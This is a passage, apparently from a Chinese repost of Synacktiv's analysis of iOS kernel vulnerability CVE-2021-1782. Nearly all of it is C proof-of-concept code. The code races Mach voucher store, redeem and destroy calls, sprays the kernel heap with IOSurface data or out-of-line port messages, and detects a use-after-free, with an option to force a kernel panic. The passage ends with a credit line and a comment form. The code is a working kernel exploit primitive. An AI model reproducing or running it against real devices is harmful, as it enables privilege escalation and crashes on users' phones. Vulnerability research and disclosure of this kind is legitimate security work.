mach_port_t port = MACH_PORT_NULL; ENFORCE(host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&recipe, sizeof(recipe), &port) == KERN_SUCCESS, fail);
*out_port = port; return 0;fail: return -1;}#endif
static void* race_store(void *arg){ uint64_t nonce = (uint64_t)arg; mach_port_t port = MACH_PORT_NULL;
while( (g_race_sync != RACE_SYNC_ENTER_CRITICAL_SECTION) && (g_race_sync != RACE_SYNC_SPRAY_DONE)) {};
ENFORCE(voucher_user_data_store(&port, nonce) == 0, fail); DEBUG_TRACE(5, "race_store => new port:0x%x nonce:%llu", port, nonce);
g_voucher_port = port;
fail: return NULL;}
static void* race_desync(void *args){ uint64_t nonce = (uint64_t) args; mach_port_t port = MACH_PORT_NULL;
while(g_race_sync != RACE_SYNC_ENTER_CRITICAL_SECTION){};
ENFORCE(voucher_user_redeem_multiple(&port, nonce, REDEEM_MULTIPLE_SIZE) == 0, fail); DEBUG_TRACE(5, "race_desync port:0x%x", port);
fail: return NULL;}
static void* race_destroy(void *args){ mach_port_t port = (mach_port_t)args;
while( (g_race_sync != RACE_SYNC_ENTER_CRITICAL_SECTION) && (g_race_sync != RACE_SYNC_SPRAY_DONE)) {};
ENFORCE(mach_port_destroy(mach_task_self(), port) == 0, fail); DEBUG_TRACE(5, "race_dealloc port:0x%x", port);
fail: return NULL;}
#ifndef WITH_OOL/* spraying in another thread doesn't really make sense now ... */static void* race_spray(__attribute__((unused)) void *args){ DEBUG_TRACE(5, "preparing the spray"); uint8_t sprayed_data[sizeof(struct user_data_value_element) + VOUCHER_CONTENT_SIZE]; memset(sprayed_data, 'A', sizeof(sprayed_data));
user_data_element_t sprayed_elem = (user_data_element_t)sprayed_data; sprayed_elem->e_made = 0x100; sprayed_elem->e_size = RECIPE_ATTR_MAX_SIZE - sizeof(mach_voucher_attr_recipe_data_t) - 1;
g_race_sync = RACE_SYNC_SPRAY_SETUP_READY; while(g_race_sync != RACE_SYNC_SPRAY_GO){};
DEBUG_TRACE(5, "spraying..."); ENFORCE(IOSurface_spray_with_gc(1, 1, sprayed_data, sizeof(sprayed_data), NULL) == true, fail);
g_race_sync = RACE_SYNC_SPRAY_DONE; while(g_race_sync != RACE_SYNC_SPRAY_CLEANABLE){};
if (g_spray_abort_flag == 1) { return NULL; }
DEBUG_TRACE(5, "cleaning the spray"); ENFORCE(IOSurface_spray_clear(1) == true, fail);
fail: return NULL;}#endif // WITH_OOL
#ifdef WITH_OOLkern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
struct ool_msg{ mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports;};
struct ool_rcv_msg{ mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports; mach_msg_trailer_t trailer;};
struct ool_multi_msg{ mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports[NB_DESC];};
struct ool_multi_msg_rcv{ mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports[NB_DESC]; mach_msg_trailer_t trailer;};
static int send_ool_ports(mach_port_t port, mach_port_t *ool_ports){ size_t n_ports = NB_OOL_PORTS; struct ool_multi_msg msg = {0};
msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); msg.hdr.msgh_size = sizeof(struct ool_msg); msg.hdr.msgh_remote_port = port; msg.hdr.msgh_local_port = MACH_PORT_NULL; msg.hdr.msgh_id = 0x123456;
msg.body.msgh_descriptor_count = NB_DESC; for (uint64_t i = 0; i < NB_DESC; i++) { msg.ool_ports[i].address = ool_ports; msg.ool_ports[i].count = n_ports; msg.ool_ports[i].deallocate = 0; msg.ool_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; msg.ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; msg.ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY; }
ENFORCE(mach_msg(&msg.hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(struct ool_multi_msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL) == KERN_SUCCESS, fail);
return 0;fail: return 1;}
static int receive_ool_ports(mach_port_t port){ struct ool_multi_msg_rcv msg = {0}; ENFORCE(mach_msg(&msg.hdr, MACH_RCV_MSG, 0, sizeof(struct ool_multi_msg_rcv), port, 0, 0) == KERN_SUCCESS, fail);
return 0;fail: return 1;}
static void* spray_with_ool(void *args){ mach_port_t port; mach_port_t ports[NB_MSG] = {0}; mach_port_t ool_ports[NB_MSG*NB_OOL_PORTS] = {0};
DEBUG_TRACE(5, "preparing ports"); for(uint64_t i = 0; i < NB_MSG;i++) { ENFORCE(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port) == KERN_SUCCESS, fail); ports[i] = port; for(uint64_t j = 0; j < NB_OOL_PORTS;j++) { ool_ports[i*NB_MSG+j] = mach_task_self(); } }
g_race_sync = RACE_SYNC_SPRAY_SETUP_READY; //while(g_race_sync != RACE_SYNC_ENTER_CRITICAL_SECTION){}; while(g_race_sync != RACE_SYNC_SPRAY_GO){};
DEBUG_TRACE(5, "spraying"); for(uint64_t i = 0; i < NB_MSG; i++) { ENFORCE(send_ool_ports(ports[i], &ool_ports[i*NB_MSG]) == 0, fail); }
g_race_sync = RACE_SYNC_SPRAY_DONE; while(g_race_sync != RACE_SYNC_SPRAY_CLEANABLE) {};
DEBUG_TRACE(5, "recv"); for(uint64_t i = 0; i < NB_MSG; i++) { ENFORCE(receive_ool_ports(ports[i]) == 0, fail); }
fail: DEBUG_TRACE(5, "cleaning up ports"); for(uint64_t i = 0; i < NB_MSG; i++) { if (ports[i] != 0) { mach_port_destroy(mach_task_self(), ports[i]); mach_port_deallocate(mach_task_self(), ports[i]); } }
return NULL; }#endif // WITH_OOL

int main(int argc, char* argv[]){ kern_return_t kerr; uint64_t nonce = 0;
pthread_t desync_theads[NB_DESYNC_THREADS] = {0}; pthread_t store_thread = 0; pthread_t destroy_thread = 0; pthread_t spray_thread = 0;
sranddev();
mach_msg_type_number_t recipe_size = MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE; mach_msg_type_number_t recipe_legit_size = MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE; void *recipe = malloc(recipe_size); ENFORCE(recipe != NULL, fail); memset(recipe, 0, recipe_size);
uint64_t nb_attempts = 10000; if (argc >= 2) { nb_attempts = atoll(argv[1]); }
for(uint64_t attempt = 0; attempt < nb_attempts; attempt++) { nonce = rand();
g_race_sync = RACE_SYNC_STOPPED;
DEBUG_TRACE(5, "--------------------------"); ENFORCE(voucher_user_data_store(&g_voucher_port, nonce) == 0, fail); DEBUG_TRACE(5, "voucher_user_data_store => voucher:0x%x", g_voucher_port);
if (attempt == 0) { ENFORCE(mach_voucher_extract_attr_recipe_trap(g_voucher_port, MACH_VOUCHER_ATTR_KEY_USER_DATA, recipe, &recipe_legit_size) == KERN_SUCCESS, fail); INFO("legit recipe_size:%u", recipe_legit_size); //hexdump(recipe, recipe_size); }
DEBUG_TRACE(5, "---------(desync)---------"); for(uint32_t i = 0; i < NB_DESYNC_THREADS; i++) { ENFORCE(pthread_create(&desync_theads[i], NULL, race_desync, (void*)nonce) == 0, fail); }
g_race_sync = RACE_SYNC_ENTER_CRITICAL_SECTION;
for(uint32_t i = 0; i < NB_DESYNC_THREADS; i++) { ENFORCE(pthread_join(desync_theads[i], NULL) == 0, fail); }
g_race_sync = RACE_SYNC_STOPPED;
if ((attempt % 1000) == 0) { INFO("attempt number:%llu", attempt); }
DEBUG_TRACE(5, "---------(release)--------"); mach_port_t port_to_release = g_voucher_port;
#ifdef WITH_OOL ENFORCE(pthread_create(&spray_thread, NULL, spray_with_ool, NULL) == 0, fail);#else ENFORCE(pthread_create(&spray_thread, NULL, race_spray, NULL) == 0, fail);#endif while(g_race_sync != RACE_SYNC_SPRAY_SETUP_READY) {};
ENFORCE(pthread_create(&store_thread, NULL, race_store, (void*)nonce) == 0, fail); void *_cast = (void*)(uintptr_t) port_to_release; // compiler happy :) ENFORCE(pthread_create(&destroy_thread, NULL, race_destroy, (void*)_cast) == 0, fail);
g_race_sync = RACE_SYNC_ENTER_CRITICAL_SECTION;
ENFORCE(pthread_join(store_thread, NULL) == 0, fail); ENFORCE(pthread_join(destroy_thread, NULL) == 0, fail);
g_race_sync = RACE_SYNC_SPRAY_GO; while(g_race_sync != RACE_SYNC_SPRAY_DONE) {};
DEBUG_TRACE(5,"Checking recipe size with port 0x%x", g_voucher_port); recipe_size = RECIPE_ATTR_MAX_SIZE; kerr = mach_voucher_extract_attr_recipe_trap(g_voucher_port, MACH_VOUCHER_ATTR_KEY_USER_DATA, recipe, &recipe_size); if (kerr == KERN_SUCCESS) { if (recipe_size != recipe_legit_size) { INFO("UaF after %llu attempts", attempt); INFO("recipe_size was corrupted:0x%x instead of 0x%x!", recipe_size, recipe_legit_size); hexdump(recipe, recipe_size);
g_spray_abort_flag = 1; g_race_sync = RACE_SYNC_SPRAY_CLEANABLE;
return 0; } } else if (kerr == KERN_NO_SPACE) { INFO("UaF detected with KERN_NO_SPACE!"); /* another one got our free chunk */#ifdef WITH_OOL INFO("our ool ports probably got our alloc"); INFO("let's try to panic..."); mach_port_t new_voucher;
INFO("3"); sleep(1); INFO("2"); sleep(1); INFO("1"); sleep(1); voucher_user_redeem_with_prev(&new_voucher, g_voucher_port); // this will increment an ool port addr /* this will make the spray tread recv with a corrupted unaligned pointer, then panic */ g_race_sync = RACE_SYNC_SPRAY_CLEANABLE; pthread_join(spray_thread, NULL); usleep(100); mach_port_destroy(mach_task_self(), g_voucher_port); mach_port_destroy(mach_task_self(), new_voucher); continue;#else INFO("someone else got our alloc");#endif }
else { DEBUG_TRACE(8, "error mach_voucher_extract_attr_recipe_trap():%x", kerr); /* no luck this time */ }
g_race_sync = RACE_SYNC_SPRAY_CLEANABLE; pthread_join(spray_thread, NULL); usleep(100);
/* clean up*/ mach_port_destroy(mach_task_self(), g_voucher_port); }
return 0;fail: return 1;}

本文翻译自:Luca Moro

https://www.synacktiv.com/publications/analysis-and-exploitation-of-the-ios-kernel-vulnerability-cve-2021-1782.html

IOS内核漏洞CVE-2021-1782的分析和利用

本文始发于微信公众号(Ots安全):IOS内核漏洞CVE-2021-1782的分析和利用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: